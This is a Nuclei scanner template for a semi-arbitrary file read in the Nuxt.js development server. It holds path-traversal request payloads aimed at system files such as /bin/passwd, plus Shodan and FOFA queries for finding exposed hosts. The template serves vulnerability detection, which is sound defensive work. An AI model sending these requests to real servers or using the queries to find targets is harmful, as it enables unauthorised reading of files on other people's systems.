nuxt-js-semi-lfi: Semi Arbitrary File Read in Dev Mode - Nuxt.js

id: nuxt-js-semi-lfi

info:
  name: Semi Arbitrary File Read in Dev Mode - Nuxt.js
  author: DhiyaneshDK
  severity: medium
  description: Arbitrary File Read in Dev Mode in Nuxt.js
  reference:
    - https://huntr.dev/bounties/7840cd32-af15-40cb-a148-7ef3dff4a0c2/
    - https://bryces.io/blog/nuxt3
    - https://twitter.com/fofabot/status/1669339995780558849
  classification:
    cpe: cpe:2.3:a:nuxt:framework:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: nuxt
    product: framework
    shodan-query: html:"buildAssetsDir" "nuxt"
    fofa-query: body="buildAssetsDir" && body="__nuxt"
  tags: huntr,lfi,nuxtjs

http:
  - method: GET
    path:
      - "{{BaseURL}}/__nuxt_vite_node__/module//bin/passwd"
      - "{{BaseURL}}/__nuxt_vite_node__/module/C:/Windows/System32/calc.exe"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"plugin":'
          - '"pluginCode":'
          - '"id":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"
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